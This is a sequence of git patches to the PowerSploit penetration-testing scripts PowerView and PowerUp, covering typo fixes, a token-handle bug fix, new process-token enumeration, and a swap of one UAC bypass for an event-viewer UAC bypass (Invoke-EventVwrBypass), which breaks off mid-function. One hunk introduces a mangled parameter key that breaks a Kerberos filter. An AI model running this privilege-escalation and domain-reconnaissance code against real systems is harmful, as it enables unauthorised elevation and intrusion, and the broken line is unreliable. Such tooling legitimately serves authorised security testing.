Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' @@ -5472,7 +5483,7 @@ Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all computer objects for the current domain are returned. @@ -5828,7 +5839,7 @@ Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all objects for the current domain are returned. @@ -7437,7 +7448,7 @@ Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all OU objects for the current domain are returned. @@ -7700,7 +7711,7 @@ Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all site objects for the current domain are returned. @@ -7959,7 +7970,7 @@ Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties whencreated,usnchanged,...". By default, all subnet objects for the current domain are returned. @@ -8312,7 +8323,7 @@ Required Dependencies: Get-DomainSearcher, Get-DomainObject, Convert-ADName, Con Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all group objects for the current domain are returned. To return the groups a specific user/group is a part of, use -MemberIdentity X to execute token groups enumeration. @@ -10572,7 +10583,7 @@ Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, G Builds a directory searcher object using Get-DomainSearcher, builds a custom LDAP filter based on targeting/filter parameters, and searches for all objects -matching the criteria. To only return specific properies, use +matching the criteria. To only return specific properties, use "-Properties samaccountname,usnchanged,...". By default, all GPO objects for the current domain are returned. To enumerate all GPOs that are applied to a particular machine, use -ComputerName X. From 1916464092b9f1225edfa40589203ea97ec407c9 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 20 Dec 2016 23:13:16 -0500 Subject: [PATCH 229/296] bug fix in Get-TokenInformation --- Privesc/PowerUp.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 9c3d622d..42b97bab 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -999,10 +999,10 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx # initial query to determine the necessary buffer size $TokenGroupsPtrSize = 0 - $Success = $Advapi32::GetTokenInformation($hProcToken, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) + $Success = $Advapi32::GetTokenInformation($TokenHandle, 2, 0, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize) [IntPtr]$TokenGroupsPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenGroupsPtrSize) - $Success = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Success = $Advapi32::GetTokenInformation($TokenHandle, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Success) { $TokenGroups = $TokenGroupsPtr -as $TOKEN_GROUPS @@ -1036,10 +1036,10 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx # initial query to determine the necessary buffer size $TokenPrivilegesPtrSize = 0 - $Success = $Advapi32::GetTokenInformation($hProcToken, 3, 0, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize) + $Success = $Advapi32::GetTokenInformation($TokenHandle, 3, 0, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize) [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesPtrSize) - $Success = $Advapi32::GetTokenInformation($hProcToken, 3, $TokenPrivilegesPtr, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + $Success = $Advapi32::GetTokenInformation($TokenHandle, 3, $TokenPrivilegesPtr, $TokenPrivilegesPtrSize, [ref]$TokenPrivilegesPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($Success) { $TokenPrivileges = $TokenPrivilegesPtr -as $TOKEN_PRIVILEGES From 96ae5e3f612848a5bfc553697ba8c5f91f12963d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Tue, 20 Dec 2016 23:13:46 -0500 Subject: [PATCH 230/296] type correction --- Recon/PowerView.ps1 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index b50c647a..17d5b9e6 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -4453,7 +4453,7 @@ Switch. Return user accounts that are marked as 'sensitive and not allowed for d Switch. Return computer objects that are trusted to authenticate for other principals. -.PARAMETER KerberosPreuthNotRequired +.PARAMETER KerberosPreauthNotRequired Switch. Return user accounts with "Do not require Kerberos preauthentication" set. @@ -4611,7 +4611,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $TrustedToAuth, [Switch] - $KerberosPreuthNotRequired, + $KerberosPreauthNotRequired, [ValidateNotNullOrEmpty()] [String] @@ -4742,7 +4742,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } - if ($PSBoundParameters['KerberosPreuthNotRequired']) { + if ($PSBoundParameters['KerberosPreauthNotRequireduthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } From 1118f53dc24809c33b831b8cc8d7be8e30fa5fe6 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 21 Dec 2016 00:35:38 -0500 Subject: [PATCH 231/296] Added "-InformationClass Type" to Get-TokenInformation to enumerate token type and impersonation level Added Get-ProcessTokenType to enumerate type/impersonation level of a specified process --- Privesc/PowerUp.ps1 | 348 +++++++++++++++++++++++++++++++++----------- 1 file changed, 263 insertions(+), 85 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 42b97bab..5ad09145 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -955,7 +955,7 @@ The IntPtr token handle to query. Required. .PARAMETER InformationClass -The type of information to query for the token handle, either 'Groups' or 'Privileges'. +The type of information to query for the token handle, either 'Groups', 'Privileges', or 'Type'. .OUTPUTS @@ -969,6 +969,11 @@ PowerUp.TokenPrivilege Outputs a custom object containing the token privilege (name/attributes) for the specified token if "-InformationClass 'Privileges'" is passed +PowerUp.TokenType + +Outputs a custom object containing the token type and impersonation level for the specified token if +"-InformationClass 'Type'" is passed + .LINK https://msdn.microsoft.com/en-us/library/windows/desktop/aa446671(v=vs.85).aspx @@ -989,7 +994,7 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx $TokenHandle, [String[]] - [ValidateSet('Groups', 'Privileges')] + [ValidateSet('Groups', 'Privileges', 'Type')] $InformationClass = 'Privileges' ) @@ -1020,6 +1025,7 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx $GroupSid | Add-Member Noteproperty 'SID' $SidString # cast the atttributes field as our SidAttributes enum $GroupSid | Add-Member Noteproperty 'Attributes' ($TokenGroups.Groups[$i].Attributes -as $SidAttributes) + $GroupSid | Add-Member Noteproperty 'TokenHandle' $TokenHandle $GroupSid.PSObject.TypeNames.Insert(0, 'PowerUp.TokenGroup') $GroupSid } @@ -1031,7 +1037,7 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenGroupsPtr) } - else { + elseif ($InformationClass -eq 'Privileges') { # query the process token with the TOKEN_INFORMATION_CLASS = 3 enum to retrieve a TOKEN_PRIVILEGES structure # initial query to determine the necessary buffer size @@ -1048,6 +1054,7 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx $Privilege | Add-Member Noteproperty 'Privilege' $TokenPrivileges.Privileges[$i].Luid.LowPart.ToString() # cast the lower Luid field as our LuidAttributes enum $Privilege | Add-Member Noteproperty 'Attributes' ($TokenPrivileges.Privileges[$i].Attributes -as $LuidAttributes) + $Privilege | Add-Member Noteproperty 'TokenHandle' $TokenHandle $Privilege.PSObject.TypeNames.Insert(0, 'PowerUp.TokenPrivilege') $Privilege } @@ -1057,6 +1064,48 @@ https://msdn.microsoft.com/en-us/library/windows/desktop/aa379630(v=vs.85).aspx } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) } + else { + $TokenResult = New-Object PSObject + + # query the process token with the TOKEN_INFORMATION_CLASS = 8 enum to retrieve a TOKEN_TYPE enum + + # initial query to determine the necessary buffer size + $TokenTypePtrSize = 0 + $Success = $Advapi32::GetTokenInformation($TokenHandle, 8, 0, $TokenTypePtrSize, [ref]$TokenTypePtrSize) + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypePtrSize) + + $Success = $Advapi32::GetTokenInformation($TokenHandle, 8, $TokenTypePtr, $TokenTypePtrSize, [ref]$TokenTypePtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $Temp = $TokenTypePtr -as $TOKEN_TYPE + $TokenResult | Add-Member Noteproperty 'Type' $Temp.Type + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + # now query the process token with the TOKEN_INFORMATION_CLASS = 8 enum to retrieve a SECURITY_IMPERSONATION_LEVEL enum + + # initial query to determine the necessary buffer size + $TokenImpersonationLevelPtrSize = 0 + $Success = $Advapi32::GetTokenInformation($TokenHandle, 8, 0, $TokenImpersonationLevelPtrSize, [ref]$TokenImpersonationLevelPtrSize) + [IntPtr]$TokenImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenImpersonationLevelPtrSize) + + $Success2 = $Advapi32::GetTokenInformation($TokenHandle, 8, $TokenImpersonationLevelPtr, $TokenImpersonationLevelPtrSize, [ref]$TokenImpersonationLevelPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success2) { + $Temp = $TokenImpersonationLevelPtr -as $IMPERSONATION_LEVEL + $TokenResult | Add-Member Noteproperty 'ImpersonationLevel' $Temp.ImpersonationLevel + $TokenResult | Add-Member Noteproperty 'TokenHandle' $TokenHandle + $TokenResult.PSObject.TypeNames.Insert(0, 'PowerUp.TokenType') + $TokenResult + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenImpersonationLevelPtr) + } } } @@ -1087,62 +1136,50 @@ The process ID to enumerate token groups for, otherwise defaults to the current Get-ProcessTokenGroup -SID Attributes ProcessId ---- ---------- --------- -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 1372 -S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 1372 -S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 1372 -S-1-16-8192 1372 +SID Attributes TokenHandle ProcessId +--- ---------- ----------- --------- +S-1-5-21-8901718... ...SE_GROUP_ENABLED 1616 3684 +S-1-1-0 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-32-544 ..., SE_GROUP_OWNER 1616 3684 +S-1-5-32-545 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-4 ...SE_GROUP_ENABLED 1616 3684 +S-1-2-1 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-11 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-15 ...SE_GROUP_ENABLED 1616 3684 +S-1-5-5-0-1053459 ...NTEGRITY_ENABLED 1616 3684 +S-1-2-0 ...SE_GROUP_ENABLED 1616 3684 +S-1-18-1 ...SE_GROUP_ENABLED 1616 3684 +S-1-16-12288 1616 3684 .EXAMPLE Get-Process notepad | Get-ProcessTokenGroup -SID Attributes ProcessId ---- ---------- --------- -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-1-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-32-544 SE_GROUP_USE_FOR_DENY_ONLY 2640 -S-1-5-32-545 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-4 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-2-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-11 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-15 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-5-0-419601 ...SE_GROUP_INTEGRITY_ENABLED 2640 -S-1-2-0 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-5-21-890171859-3433809... ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-18-1 ..._DEFAULT, SE_GROUP_ENABLED 2640 -S-1-16-8192 2640 +SID Attributes TokenHandle ProcessId +--- ---------- ----------- --------- +S-1-5-21-8901718... ...SE_GROUP_ENABLED 1892 2044 +S-1-1-0 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-32-544 ...SE_FOR_DENY_ONLY 1892 2044 +S-1-5-32-545 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-4 ...SE_GROUP_ENABLED 1892 2044 +S-1-2-1 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-11 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-15 ...SE_GROUP_ENABLED 1892 2044 +S-1-5-5-0-1053459 ...NTEGRITY_ENABLED 1892 2044 +S-1-2-0 ...SE_GROUP_ENABLED 1892 2044 +S-1-18-1 ...SE_GROUP_ENABLED 1892 2044 +S-1-16-8192 1892 2044 + .OUTPUTS PowerUp.TokenGroup -Outputs a custom object containing the token group (SID/attributes) for the specified token if -"-InformationClass 'Groups'" is passed. - -PowerUp.TokenPrivilege - -Outputs a custom object containing the token privilege (name/attributes) for the specified token if -"-InformationClass 'Privileges'" is passed +Outputs a custom object containing the token group (SID/attributes) for the specified process. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerUp.TokenGroup')] - [OutputType('PowerUp.TokenPrivilege')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] @@ -1223,68 +1260,90 @@ SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonat .EXAMPLE -Get-ProcessTokenPrivilege - - Privilege Attributes ProcessId - --------- ---------- --------- - SeShutdownPrivilege DISABLED 2600 - SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2600 - SeUndockPrivilege DISABLED 2600 -SeIncreaseWorkingSetPrivilege DISABLED 2600 - SeTimeZonePrivilege DISABLED 2600 +Get-ProcessTokenPrivilege | ft -a + +WARNING: 2 columns do not fit into the display and were removed. + +Privilege Attributes +--------- ---------- +SeUnsolicitedInputPrivilege DISABLED +SeTcbPrivilege DISABLED +SeSecurityPrivilege DISABLED +SeTakeOwnershipPrivilege DISABLED +SeLoadDriverPrivilege DISABLED +SeSystemProfilePrivilege DISABLED +SeSystemtimePrivilege DISABLED +SeProfileSingleProcessPrivilege DISABLED +SeIncreaseBasePriorityPrivilege DISABLED +SeCreatePagefilePrivilege DISABLED +SeBackupPrivilege DISABLED +SeRestorePrivilege DISABLED +SeShutdownPrivilege DISABLED +SeDebugPrivilege SE_PRIVILEGE_ENABLED +SeSystemEnvironmentPrivilege DISABLED +SeChangeNotifyPrivilege ...EGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +SeRemoteShutdownPrivilege DISABLED +SeUndockPrivilege DISABLED +SeManageVolumePrivilege DISABLED +SeImpersonatePrivilege ...EGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +SeCreateGlobalPrivilege ...EGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +SeIncreaseWorkingSetPrivilege DISABLED +SeTimeZonePrivilege DISABLED +SeCreateSymbolicLinkPrivilege DISABLED .EXAMPLE Get-ProcessTokenPrivilege -Special -Privilege Attributes ProcessId ---------- ---------- --------- -SeSecurityPrivilege DISABLED 2444 -SeTakeOwnershipPrivilege DISABLED 2444 -SeBackupPrivilege DISABLED 2444 -SeRestorePrivilege DISABLED 2444 -SeSystemEnvironmentPriv... DISABLED 2444 -SeImpersonatePrivilege ...T, SE_PRIVILEGE_ENABLED 2444 +Privilege Attributes TokenHandle ProcessId +--------- ---------- ----------- --------- +SeTcbPrivilege DISABLED 2268 3684 +SeSecurityPrivilege DISABLED 2268 3684 +SeTakeOwnershipP... DISABLED 2268 3684 +SeLoadDriverPriv... DISABLED 2268 3684 +SeBackupPrivilege DISABLED 2268 3684 +SeRestorePrivilege DISABLED 2268 3684 +SeDebugPrivilege ...RIVILEGE_ENABLED 2268 3684 +SeSystemEnvironm... DISABLED 2268 3684 +SeImpersonatePri... ...RIVILEGE_ENABLED 2268 3684 .EXAMPLE Get-Process notepad | Get-ProcessTokenPrivilege | fl -Privilege : SeShutdownPrivilege -Attributes : DISABLED -ProcessId : 2640 +Privilege : SeShutdownPrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 -Privilege : SeChangeNotifyPrivilege -Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED -ProcessId : 2640 +Privilege : SeChangeNotifyPrivilege +Attributes : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED +TokenHandle : 2164 +ProcessId : 2044 -Privilege : SeUndockPrivilege -Attributes : DISABLED -ProcessId : 2640 +Privilege : SeUndockPrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 -Privilege : SeIncreaseWorkingSetPrivilege -Attributes : DISABLED -ProcessId : 2640 +Privilege : SeIncreaseWorkingSetPrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 -Privilege : SeTimeZonePrivilege -Attributes : DISABLED -ProcessId : 2640 +Privilege : SeTimeZonePrivilege +Attributes : DISABLED +TokenHandle : 2164 +ProcessId : 2044 .OUTPUTS -PowerUp.TokenGroup - -Outputs a custom object containing the token group (SID/attributes) for the specified token if -"-InformationClass 'Groups'" is passed. - PowerUp.TokenPrivilege -Outputs a custom object containing the token privilege (name/attributes) for the specified token if -"-InformationClass 'Privileges'" is passed +Outputs a custom object containing the token privilege (name/attributes) for the specified process. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - [OutputType('PowerUp.TokenGroup')] [OutputType('PowerUp.TokenPrivilege')] [CmdletBinding()] Param( @@ -1350,6 +1409,105 @@ Outputs a custom object containing the token privilege (name/attributes) for the } +function Get-ProcessTokenType { +<# +.SYNOPSIS + +Returns the token type and impersonation level. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation + +.DESCRIPTION + +First, if a process ID is passed, then the process is opened using OpenProcess(), +otherwise GetCurrentProcess() is used to open up a pseudohandle to the current process. +OpenProcessToken() is then used to get a handle to the specified process token. The token +is then passed to Get-TokenInformation to query the type and impersonation level for the +specified token. + +.PARAMETER Id + +The process ID to enumerate token groups for, otherwise defaults to the current process. + +.EXAMPLE + +Get-ProcessTokenType + + Type ImpersonationLevel TokenHandle ProcessId + ---- ------------------ ----------- --------- + Primary Identification 872 3684 + + +.EXAMPLE + +Get-Process notepad | Get-ProcessTokenType | fl + +Type : Primary +ImpersonationLevel : Identification +TokenHandle : 1356 +ProcessId : 2044 + +.OUTPUTS + +PowerUp.TokenType + +Outputs a custom object containing the token type and impersonation level for the specified process. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerUp.TokenType')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('ProcessID')] + [UInt32] + [ValidateNotNullOrEmpty()] + $Id + ) + + PROCESS { + if ($PSBoundParameters['Id']) { + $ProcessHandle = $Kernel32::OpenProcess(0x400, $False, $Id);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($ProcessHandle -eq 0) { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + else { + $ProcessID = $Id + } + } + else { + # open up a pseudo handle to the current process- don't need to worry about closing + $ProcessHandle = $Kernel32::GetCurrentProcess() + $ProcessID = $PID + } + + if ($ProcessHandle) { + [IntPtr]$hProcToken = [IntPtr]::Zero + $TOKEN_QUERY = 0x0008 + $Success = $Advapi32::OpenProcessToken($ProcessHandle, $TOKEN_QUERY, [ref]$hProcToken);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($Success) { + $TokenType = Get-TokenInformation -TokenHandle $hProcToken -InformationClass 'Type' + $TokenType | ForEach-Object { + $_ | Add-Member Noteproperty 'ProcessId' $ProcessID + $_ + } + } + else { + Write-Warning ([ComponentModel.Win32Exception] $LastError) + } + + if ($PSBoundParameters['Id']) { + # close the handle if we used OpenProcess() + $Null = $Kernel32::CloseHandle($ProcessHandle) + } + } + } +} + + function Enable-Privilege { <# .SYNOPSIS @@ -4956,6 +5114,26 @@ $SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ Attributes = field 1 UInt32 } +$TOKEN_TYPE_ENUM = psenum $Module PowerUp.TokenTypeEnum UInt32 @{ + Primary = 1 + Impersonation = 2 +} + +$TOKEN_TYPE = struct $Module PowerUp.TokenType @{ + Type = field 0 $TOKEN_TYPE_ENUM +} + +$SECURITY_IMPERSONATION_LEVEL_ENUM = psenum $Module PowerUp.ImpersonationLevelEnum UInt32 @{ + Anonymous = 0 + Identification = 1 + Impersonation = 2 + Delegation = 3 +} + +$IMPERSONATION_LEVEL = struct $Module PowerUp.ImpersonationLevel @{ + ImpersonationLevel = field 0 $SECURITY_IMPERSONATION_LEVEL_ENUM +} + $TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{ GroupCount = field 0 UInt32 Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32) From 94438eda67711e2803b40a093bd4b38568c134ec Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 21 Dec 2016 00:41:51 -0500 Subject: [PATCH 232/296] Replaced Invoke-WScriptUACBypass with @enigma0x3's Invoke-EventVwrBypass function --- Privesc/PowerUp.ps1 | 258 +++++++++---------------------------------- Privesc/Privesc.psd1 | 2 +- 2 files changed, 56 insertions(+), 204 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 5ad09145..50f8268e 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -4568,238 +4568,90 @@ PowerUp.UserAddMSI } -function Invoke-WScriptUACBypass { +function Invoke-EventVwrBypass { <# .SYNOPSIS -Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. +Bypasses UAC by performing an image hijack on the .msc file extension +Only tested on Windows 7 and Windows 10 -Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +Author: Matt Nelson (@enigma0x3) License: BSD 3-Clause -Required Dependencies: None - -.DESCRIPTION - -Drops wscript.exe and a custom manifest into C:\Windows and then proceeds to execute -VBScript using the wscript executable with the new manifest. The VBScript executed by -C:\Windows\wscript.exe will run elevated. +Required Dependencies: None .PARAMETER Command -The shell command you want wscript.exe to run elevated. - -.PARAMETER WindowStyle - -Whether to display or hide the window for the executed '-Command X'. -Accepted values are 'Hidden' and 'Normal'/'Visible. Default is 'Hidden'. + Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc " .EXAMPLE -Invoke-WScriptUACBypass -Command "powershell.exe -ep Bypass -WindowStyle Hidden -enc " +Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" -Launches the specified PowerShell encoded command in high-integrity. - -.EXAMPLE - -Invoke-WScriptUACBypass -Command cmd.exe -WindowStyle 'Visible' - -Spawns a high integrity cmd.exe. - -.LINK - -http://seclist.us/uac-bypass-vulnerability-in-the-windows-script-host.html -https://github.com/Vozzie/uacscript -https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1 +This will write out "Is Elevated: True" to C:\UACBypassTest. #> - [CmdletBinding()] - Param( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] - [Alias('CMD')] - [String] + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] + Param ( + [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] + [String] $Command, - [String] - [ValidateSet('Hidden', 'Normal', 'Visible')] - $WindowStyle = 'Hidden' + [Switch] + $Force ) + $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin + $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop - function Local:Get-TempFileName { - # generate temporary file Name - $sTempFolder = $env:Temp - $sTempFolder = $sTempFolder + '\' - $sTempFileName = [System.IO.Path]::GetRandomFileName() + '.tmp' - $sTempFileName = $sTempFileName -Split '\.',([regex]::matches($sTempFileName, '\.').count) -join '' - $sTempFileNameFinal = $sTempFolder + $sTempFileName - return $sTempFileNameFinal - } - - function Local:Invoke-CopyFile { - [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] - Param( - [String] - $sSource, - - [String] - $sTarget - ) - - # cab wscript, send to temp and then extract it from temp to $env:WINDIR - $sTempFile = Get-TempFileName - Start-Process -WindowStyle Hidden -FilePath "$($env:WINDIR)\System32\makecab.exe" -ArgumentList "$sSource $sTempFile" - $Null = wusa "$sTempFile" /extract:"$sTarget" /quiet - - Start-Sleep -Seconds 2 - Remove-Item -Path $sTempFile -Force + if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt 